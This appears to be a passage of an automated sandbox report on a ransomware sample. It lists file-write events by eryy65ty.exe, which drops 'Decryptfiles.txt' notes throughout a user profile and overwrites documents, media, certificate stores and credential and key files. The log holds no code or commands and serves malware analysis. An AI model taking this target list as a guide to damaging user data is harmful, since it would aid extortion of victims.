Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LFOPODGVOH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LFOPODGVOH\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LFOPODGVOH\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LIJDSFKJZG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LIJDSFKJZG\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LIJDSFKJZG\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LIJDSFKJZG\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Music\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Videos\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\NIRMEKAMZH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\QFAPOWPAFG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UBVUNTSCZJ\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UNKRLCVOHV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UNKRLCVOHV\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UNKRLCVOHV\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\WDBWCPEFJW\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\WSHEJMDVQC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\downloaded.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\downloaded.pdf offset: 311296
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\LHEPQPGEWF.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Pictures\Camera Roll\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Pictures\Saved Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\.ms-ad\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\.curlrc.SuMh offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\3D Objects\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\.curlrc.echn offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Collab\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Forms\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata offset: 12288
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei offset: 20480
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\Preflight Acrobat Continuous\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\CRLogs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\CRLogs\crashlogs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Flash Player\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Flash Player\NativeCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Headlights\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Linguistics\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\LogTransport2\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\LogTransport2CC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\RTTransfer\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Sonar\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Adobe\Sonar\SonarCC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\AddIns\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Credentials\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Excel\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Network\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Protect\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk.XxpC offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\0837c0eb-5e12-485a-b8a4-e50f73c1d92b offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Speech\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Spelling\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead.bEiR offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Vault\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\AccountPictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Network Shortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BYIMNPJCRL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUKNXICOZT.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFDEXQWKNW.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFDEXQWKNW.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTQYAMNJFK.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IYEPUIQXSK.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IYEPUIQXSK.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MSTILBICVO.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NFUBSOKSVH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NRIABABLWZ.png offset: 0
